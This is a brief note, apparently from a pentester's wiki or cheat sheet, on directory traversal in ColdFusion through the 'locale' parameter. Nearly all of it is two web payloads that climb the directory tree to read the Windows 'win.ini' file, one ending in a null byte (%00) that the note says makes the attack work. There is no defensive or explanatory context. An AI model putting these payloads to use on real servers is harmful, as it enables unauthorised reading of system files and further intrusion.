cold fusion allows directory traversal through locale parametre
?locale=../../../../../../windows/win.ini ?locale=../../../../../../windows/win.ini%00en now works need to end with a null byte
Last updated 4 years ago